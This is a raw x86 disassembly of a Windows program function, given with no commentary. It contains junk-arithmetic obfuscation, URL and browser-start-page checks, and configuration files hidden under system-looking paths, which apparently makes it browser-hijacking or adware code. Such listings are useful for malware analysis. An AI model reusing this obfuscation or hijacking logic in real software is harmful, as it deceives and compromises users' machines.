mov eax, 0xfe03f81
imul dword [0x452a78]
sar edx, 4
mov ecx, esi
imul ecx, ecx, 0xe8
mov dword [ebp - 0x10e0], ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a68]
sub ecx, eax
sub ecx, edx
mov edx, dword [0x452a6c]
lea eax, [ecx + edx + 0x21b]
mov edx, dword [0x443a1c]
mov dword [str._r_____r_____n], eax
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x443a20]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x443a24]
mov dword [ebp - 0x4b8], ecx
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4c0], edx
mov dx, word [0x443a28]
xor eax, eax
mov word [ebp - 0x4b4], dx
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [ebp - 0x10e0]
mov eax, 0x577f7cc1
imul dword [0x452a6c]
mov eax, dword [0x452a7c]
imul eax, eax, 0x21e
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x452a70]
add ecx, eax
sub ecx, edi
sub ecx, edx
add ecx, 0x33e
mov edi, ebx
mov dword [0x452a68], ecx
lea eax, [edi + 1]
mov dl, byte [edi]
inc edi
test dl, dl
jne 0x413410
sub edi, eax
mov dword [ebp - 0x10e0], edi
je 0x41355e
push str.http:__
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str.HTTP:__
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str.www.
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str.WWW.
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str..COM
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str..com
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str..NET
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str..net
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str..ORG
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str..org
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push 0x4439d4
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push 0x4439d0
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str..htm
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41353d
push str..HTM
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
je 0x413552
push ebx
lea ecx, [ebp - 0x4c4]
push 0x4439b8
push ecx
call fcn.00425baa
add esp, 0xc
mov ecx, dword [0x452a68]
mov esi, dword [0x452a84]
mov eax, 0xfe03f81
imul esi, esi, 0xe8
imul dword [0x452a78]
sar edx, 4
mov eax, edx
shr eax, 0x1f
push str.C:WINDOWS_system_sdax.txt
add eax, edx
push 0x400
sub esi, eax
lea eax, [ebp - 0x8c4]
push eax
sub esi, ecx
mov ecx, dword [0x452a6c]
push 0x442e2d
push str.rtgbh
lea edx, [esi + ecx + 0x21b]
push str.asdf
mov dword [str._r_____r_____n], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test ebx, ebx
je 0x4136d4
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4135c3
sub eax, edx
mov dword [ebp - 0x10e0], eax
je 0x4136d4
mov edi, 0x4430b4
mov esi, ebx
mov ecx, 0xc
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4136d4
lea eax, [ebp - 0x144]
push eax
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41366b
lea ecx, [ebp - 0x144]
push ebx
push ecx
call fcn.004263c0
add esp, 8
test eax, eax
jne 0x41366b
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea ecx, [ecx]
mov dl, byte [esi]
mov cl, byte [edi]
mov al, dl
cmp dl, cl
jne 0x413648
test al, al
je 0x413644
mov cl, byte [esi + 1]
mov dl, byte [edi + 1]
mov al, cl
cmp cl, dl
jne 0x413648
add esi, 2
add edi, 2
test al, al
jne 0x413620
xor eax, eax
jmp 0x41364d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41366b
lea edx, [ebp - 0x4c4]
push edx
lea eax, [ebp - 0x8c4]
push eax
call fcn.004263c0
add esp, 8
test eax, eax
je 0x41367f
lea ecx, [ebp - 0x1c4]
push ecx
push ebx
call fcn.004263c0
add esp, 8
test eax, eax
je 0x4136d4
mov ecx, dword [0x452a78]
mov esi, dword [0x452a6c]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x2053e08b
imul esi
sub edx, esi
mov esi, dword [0x452a7c]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a84]
sub eax, edi
sub eax, esi
lea eax, [eax + edx - 0xd2]
mov dword [0x452a6c], eax
jmp 0x41375e
push 0
call fcn.00425c8f
mov edx, dword [0x564e10]
mov ecx, dword [0x452a70]
mov dword [0x564e0c], eax
add esp, 4
inc edx
mov dword [0x564e10], edx
mov eax, 0x577f7cc1
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x452a74]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
mov ecx, dword [0x452a84]
sar edx, 7
imul ecx, ecx, 0xd9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, ecx
mov ecx, dword [ebp - 0x110c]
add eax, 0x506
mov dword [0x452a74], eax
mov eax, dword [ebp - 0x10d4]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x9c]
mov ecx, dword [0x452a78]
mov esi, dword [0x452a7c]
mov edi, dword [0x452a80]
imul esi, esi, 0xfffffefe
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov ebx, dword [ebp - 0x10cc]
mov eax, 0x43b3d5b
imul edi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
sub esi, eax
add esi, edx
test ebx, ebx
mov edx, dword [0x452a64]
lea esi, [edx + esi - 0xd8]
mov dword [0x452a64], esi
je 0x413c32
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10cc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4137c5
sub eax, dword [ebp - 0x10cc]
mov dword [ebp - 0x10cc], eax
je 0x413c32
mov eax, 0x7a0a7ce7
imul ecx
mov ecx, dword [0x452a68]
sar edx, 8
imul ecx, ecx, 0x21e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a74]
imul edx, edx, 0x79
sub ecx, eax
add ecx, edi
lea eax, [edx + ecx + 0x215]
push 0xffffffffffffffff
push 0x565f90
lea ecx, [ebp - 0x1138]
mov dword [0x452a70], eax
call fcn.004062e0
mov ecx, dword [0x452a68]
mov esi, dword [0x452a74]
mov eax, 0xdfac1f75
imul esi, esi, 0xab
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
sub esi, ecx
imul edx, edx, 0x125
lea edi, [esi + edx - 0xd8]
mov byte [ebp - 4], 7
mov dword [0x452a7c], edi
mov esi, 0x565788
mov eax, ebx
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x413895
test cl, cl
je 0x413891
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x413895
add eax, 2
add esi, 2
test cl, cl
jne 0x413871
xor eax, eax
jmp 0x41389a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x413c11
mov ecx, dword [0x452a6c]
imul edi, edi, 0x21e
mov esi, dword [0x452a84]
mov eax, 0x577f7cc1
imul ecx
sar edx, 8
mov eax, esi
imul eax, eax, 0xe8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ecx, edi
mov edi, dword [0x452a70]
sub ecx, eax
sub ecx, edi
mov eax, ebx
add ecx, 0x33e
lea edx, [eax + 1]
mov dword [0x452a68], ecx
mov dword [ebp - 0x10cc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4138f0
sub eax, dword [ebp - 0x10cc]
cmp eax, 0x800
jae 0x41391c
mov edx, ebx
mov esi, 0x565788
jmp 0x413910
mov al, byte [edx]
inc edx
mov byte [esi], al
inc esi
test al, al
jne 0x413910
jmp 0x413985
mov ecx, dword [0x452a74]
imul esi, esi, 0xd9
mov eax, 0x577f7cc1
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, edi
sub ecx, esi
add ecx, 0x506
push 0x7ff
mov dword [0x452a74], ecx
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x565788
push 0x565788
rep stosd dword es:[edi], eax
call fcn.004266f0
mov ecx, dword [0x452a68]
add esp, 0xc
mov esi, dword [0x452a80]
mov eax, 0xae4c415d
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a78]
imul edx, edx, 0x2ed
sub edx, eax
mov eax, dword [0x452a64]
imul eax, eax, 0x219
add edx, eax
sub edx, ecx
add edx, 0x1eb
mov eax, 0x564e88
mov dword [0x452a80], edx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4139d0
sub eax, edx
cmp eax, 5
jbe 0x413c11
push str.ConfigL6
push ebx
call fcn.00416000
add esp, 8
test eax, eax
jne 0x413c11
mov ecx, dword [0x452a74]
mov esi, dword [0x452a7c]
mov eax, 0x7a0a7ce7
imul esi, esi, 0x2ed
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x452a6c]
imul edx, edx, 0x21e
mov edi, ecx
mov ecx, dword [str._r_____r_____n]
sub edi, esi
add edi, edx
mov eax, 0xa29ecf17
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, 0xd8
push 0x132b600
mov dword [0x452a84], edi
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
cmp esi, 0x64
jge 0x413ac9
mov ecx, dword [0x452a78]
mov eax, 0xfe03f81
imul ecx
mov eax, dword [0x452a6c]
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x452a84]
imul edx, edx, 0xe8
sub edx, ecx
sub edx, dword [0x452a68]
lea ecx, [edx + eax + 0x21b]
push 0x64
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x564e88
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413ab5
sub eax, edx
mov dword [ebp - 0x10cc], eax
je 0x413ac9
inc esi
jmp 0x413a63
mov ecx, dword [0x452a6c]
mov eax, 0x577f7cc1
imul ecx
mov ecx, dword [0x452a7c]
sar edx, 8
imul ecx, ecx, 0x21e
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a84]
imul edx, edx, 0xe8
add eax, ecx
mov ecx, dword [0x452a70]
sub eax, edx
sub eax, ecx
push str.C:WINDOWS_system32driversetc_service5.ini
add eax, 0x33e
push 0x800
mov dword [0x452a68], eax
lea eax, [ebp - 0x10c4]
push eax
push 0x442e2d
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x452a78]
mov eax, 0x7a0a7ce7
imul ecx
mov eax, dword [0x452a74]
mov edi, dword [0x452a80]
imul eax, eax, 0x79
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x452a68]
imul edx, edx, 0x21e
sub edx, ecx
add edx, edi
lea ecx, [eax + edx + 0x215]
lea edx, [ebp - 0x10c4]
push edx
mov dword [0x452a70], ecx
call fcn.00425c8a
inc eax
push eax
lea eax, [ebp - 0x10c4]
push 0x442dec
push eax
call fcn.00425baa
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea ecx, [ebp - 0x10c4]
push ecx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x452a68]
mov esi, dword [0x452a70]
mov eax, dword [0x452a6c]
imul esi, esi, 0xd9
mov edx, ecx
imul eax, eax, 0x102
imul edx, edx, 0x193
sub esi, edx
add esi, eax
mov eax, 0x43b3d5b
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [0x452a78], esi
mov esi, dword [0x564e80]
inc esi
push 0
mov dword [0x564e80], esi
call fcn.00425c8f
add esp, 4
mov dword [0x564e84], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00406390
mov ecx, dword [0x452a78]
mov esi, dword [0x452a64]
mov edi, dword [0x452a80]
mov eax, 0xae4c415d
imul ecx, ecx, 0x2ed
imul esi, esi, 0x219
imul edi
add edx, edi
mov edi, dword [0x452a68]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
sub ecx, edi
add ecx, 0x1eb
push ecx
mov dword [0x452a80], ecx
mov ecx, dword [ebp - 0x10c8]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [ebp - 0x10cc], esp
je 0x413c8a
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x564b20
call fcn.004076c0
mov ecx, dword [0x452a78]
mov esi, dword [0x452a7c]
mov eax, 0xa29ecf17
imul esi, esi, 0xfffffefe
imul ecx
add edx, ecx
mov ecx, dword [0x452a80]
sar edx, 8
mov edi, dword [str._r_____r_____n]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x43b3d5b
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x452a64]
sub esi, ecx
mov ecx, dword [ebp - 0x10c8]
add esi, edi
lea eax, [edx + esi - 0xd8]
push 0
push ecx
mov dword [0x452a64], eax
call fcn.00419450
mov ecx, dword [0x452a78]
mov esi, dword [0x452a6c]
mov eax, 0xae4c415d
imul ecx
add edx, ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x2053e08b
imul esi
sub edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a7c]
sub eax, edi
add esp, 8
sub eax, edx
mov edx, dword [0x452a84]
lea eax, [eax + edx - 0xd2]
mov dword [0x452a6c], eax
mov edx, dword [0x452a70]
mov esi, dword [0x452a74]
mov eax, 0x577f7cc1
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x8d3dcb09
imul esi
add edx, esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x452a84]
imul edx, edx, 0xd9
sub eax, edi
sub eax, edx
add eax, 0x506
mov dword [0x452a74], eax
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 5
je 0x413db4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x452a78]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 4
je 0x413dce
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x452a78]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x413de8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x452a78]
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov byte [ebp - 4], 1
je 0x413e02
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x452a78]
mov eax, dword [ebp - 0x10f4]
mov edi, dword [0x452a84]
mov ebx, dword [0x452a68]
inc eax
mov dword [ebp - 0x10f4], eax
jmp 0x412304
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 0
je 0x413e34
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x452a68]
mov ecx, dword [0x452a74]
mov eax, 0xdfac1f75
imul ecx, ecx, 0xab
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [str._r_____r_____n]
imul eax, eax, 0x125
lea ecx, [ecx + eax - 0xd8]
mov eax, dword [ebp - 0x10e4]
mov dword [0x452a7c], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00425481
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret